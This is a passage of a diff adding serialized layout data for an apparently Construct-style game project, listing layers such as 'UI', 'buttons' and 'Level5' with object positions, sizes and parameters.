+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1157,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5811,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 784,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5812,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1908.776489257813,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5813,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1535.776489257813,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5814,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2660.7763671875,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5815,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2287.7763671875,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5816,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3412.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5817,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3039.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5818,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4164.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5819,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3791.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5820,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4915.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5821,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4542.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5822,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5667.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5823,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5294.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5824,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2858,
+ 1430,
+ 0,
+ 5941,
+ 703,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5825,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 588,
+ 356,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5827,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1629.698608398438,
+ 640.6913452148438,
+ 0,
+ 183.546630859375,
+ 19.7239990234375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5826,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3782.39453125,
+ 845.2230834960938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5828,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3810.830810546875,
+ 845.2230834960938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5829,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3839.651123046875,
+ 845.2230834960938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5830,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406,
+ -81,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 1349,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.24658203125,
+ 722.2574462890625,
+ 0,
+ 111,
+ 274.4722900390625,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ 0,
+ 0,
+ []
+ ],
+ 547,
+ 6618,
+ [],
+ [],
+ [
+ 0,
+ "pega",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3999.930419921875,
+ 477.2562561035156,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 1231,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 929381457595571,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 460989391246655,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -698,
+ -221,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 1132,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 1135,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 1136,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 1137,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 1138,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 403,
+ 24,
+ 0,
+ 118,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 435,
+ 513,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ 62,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 1063,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 389,
+ -1,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 1064,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 28,
+ 22,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 1065,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 120,
+ 25,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 1066,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 76,
+ 25,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 1067,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 873,
+ -73,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 1159,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 1160,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388,
+ 237,
+ 0,
+ 907.2191772460938,
+ 545.2364501953125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 1134,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 480723932396283,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 233846509087989,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level5",
+ 6000,
+ 1500,
+ false,
+ "Gameplay1",
+ 445591282342919,
+ [
+ [
+ "fondo",
+ 0,
+ 223684631555501,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -26,
+ -17,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 1118,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 118965660401674,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 1297,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 6014,
+ 839,
+ 0,
+ 40,
+ 800,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 1298,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 746.5,
+ 0,
+ 40,
+ 1509,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 1299,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -11,
+ -4,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 1172,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 537450937991646,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 787914528911647,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 835082939537940,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -30,
+ 859,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1173,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 27,
+ 852,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1175,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1220,
+ 1227,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1178,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2194,
+ 1164,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1186,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727,
+ 587,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1191,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3676,
+ 773,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1194,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4574,
+ 760,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1250,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5702,
+ 982,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1251,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -4,
+ 1596,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1252,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1348,
+ 1570,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1300,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2337,
+ 1492,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1304,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2264,
+ 615,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1305,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3822,
+ 1134,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1306,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4359,
+ 1652,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1311,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4655,
+ 1121,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1312,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5595,
+ 1019,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1313,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5801,
+ 1343,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1314,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2607,
+ 1611,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1429,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2850,
+ 1639,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1431,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3408,
+ 1631,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1432,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
